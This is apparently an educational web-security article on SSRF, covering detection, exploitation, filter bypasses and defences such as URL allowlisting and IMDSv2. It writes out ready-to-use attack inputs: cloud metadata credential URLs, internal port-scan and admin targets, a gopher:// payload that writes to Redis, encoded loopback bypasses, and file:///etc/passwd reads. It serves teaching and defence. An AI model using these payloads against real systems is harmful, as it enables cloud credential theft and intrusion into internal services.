Server-Side Request Forgery (SSRF) is a web vulnerability that lets an attacker force a server to make HTTP requests on their behalf. Instead of the browser making the request, the server itself becomes the unwitting client — reaching internal services, cloud metadata endpoints, and backend systems that should never be exposed to the public internet. SSRF jumped onto the OWASP Top 10 in 2021 (A10) and has been behind some of the most significant cloud breaches of the last decade, including the 2019 Capital One breach that exposed 100 million records.
How SSRF Works
Consider a web application that fetches a URL provided by the user to generate a preview:
POST /api/preview
{"url": "https://example.com/image.png"}
The server fetches that URL and returns the content. An attacker changes the URL to an internal address:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
If the server is running on AWS EC2, this request hits the Instance Metadata Service (IMDS) — an internal endpoint at 169.254.169.254 that’s not reachable from the internet but is reachable from the EC2 instance itself. The response contains AWS access keys, which the attacker now controls.
Finding SSRF Vulnerabilities
SSRF hides anywhere the server fetches a user-supplied URL or identifier. Common entry points:
- URL parameters:
?url=, ?redirect=, ?callback=, ?webhook=, ?src=, ?path=
- Document import features: PDF generators, screenshot services, link previewers
- Webhooks: Applications that send HTTP callbacks to user-specified endpoints
- File upload by URL: “Import from URL” features
- XML input (related to XXE): External entity fetching
- PDF generation libraries: wkhtmltopdf, Puppeteer with user-controlled content
Testing for SSRF
Step 1: Set up a listener. Use Burp Collaborator (built into Burp Suite Professional) or the free alternative interactsh:
# Install interactsh client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# Gives you a unique domain like: abc123.oast.fun
Step 2: Inject your collaborator URL into every parameter that could trigger a server-side request:
GET /fetch?url=http://abc123.oast.fun/ssrf-test HTTP/1.1
Step 3: If you see a DNS lookup or HTTP request hit your collaborator, SSRF is confirmed.
The most critical SSRF impacts involve cloud provider metadata services:
AWS IMDSv1
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
The response includes AccessKeyId, SecretAccessKey, and Token — full temporary credentials for the IAM role attached to the instance. With these, an attacker can escalate to any service the role can access.
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Requires the header Metadata-Flavor: Google — but if the vulnerable application adds it (some do when making internal requests), you get a GCP access token.
Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Requires header Metadata: true.
Exploiting SSRF: Internal Service Access
Beyond cloud metadata, SSRF lets attackers:
Port scan internal networks:
http://192.168.1.1:22 # SSH - short response time = open
http://192.168.1.1:9999 # Closed - long timeout or connection refused
Timing differences reveal open vs. closed ports.
Access internal admin interfaces:
http://localhost:8080/admin
http://127.0.0.1:6379 # Redis — can write arbitrary data
http://127.0.0.1:9200 # Elasticsearch — unauthenticated in older versions
Redis via SSRF (Gopher Protocol):
gopher://127.0.0.1:6379/_FLUSHALL%0d%0aSET%20mykey%20"hacked"%0d%0a
Some SSRF endpoints support the gopher:// protocol, allowing raw TCP data to be sent to internal services — effectively turning SSRF into remote code execution via Redis or Memcached.
Bypassing SSRF Filters
Developers often implement naive blocklists. Attackers bypass them with:
IP encoding tricks:
http://2130706433/ # Decimal for 127.0.0.1
http://0177.0.0.1/ # Octal
http://0x7f.0x0.0x0.0x1/ # Hex
http://127.1/ # Short form
http://[::1]/ # IPv6 loopback
DNS rebinding:
Register a domain that first resolves to a public IP (passes the allowlist check), then immediately resolves to 127.0.0.1 when the actual request is made.
Open redirects:
http://trusted-site.com/redirect?to=http://169.254.169.254/
If the application follows redirects from allowlisted domains, an open redirect on a trusted site bypasses the filter.
Alternate URL schemes:
file:///etc/passwd — read local files
dict://localhost:11211/stat — Memcached info disclosure
Blind SSRF
Many SSRF vulnerabilities are blind — the server makes the request but you don’t see the response. Detection requires out-of-band techniques (Burp Collaborator, interactsh). Even without seeing the response, blind SSRF can:
- Confirm internal service existence via response timing
- Exfiltrate data via DNS — encode data in subdomain lookups to your collaborator
Defense: Preventing SSRF
1. Validate and Allowlist URLs
Never use a blocklist. Validate against a strict allowlist of permitted domains and IP ranges:
from urllib.parse import urlparse
import ipaddress
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
def is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False
host = parsed.hostname
if host in ALLOWED_HOSTS:
return True
# Block all private/loopback IPs
try:
ip = ipaddress.ip_address(host)
return not (ip.is_private or ip.is_loopback or ip.is_link_local)
except ValueError:
return False
2. Enforce IMDSv2 on AWS
AWS IMDSv2 requires a session token obtained via a PUT request — it cannot be fetched via simple GET (which is all SSRF can typically do):
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required
3. Network Segmentation
Use firewalls and security groups to prevent your web servers from making outbound requests to internal networks or metadata endpoints. The principle of least privilege applies to network access too.
4. Disable Unused URL Schemes
In HTTP libraries, explicitly disable file://, gopher://, dict:// and other non-HTTP schemes.
Conclusion
SSRF is a powerful vulnerability class because it turns a server’s network trust into an attacker’s asset. In cloud-native environments, a single SSRF leading to metadata credential theft can result in a full account compromise. Finding SSRF requires creativity — look beyond obvious URL parameters to any feature that might trigger server-side network activity. Defending against it requires strict input validation, network controls, and cloud-specific hardening like IMDSv2 enforcement.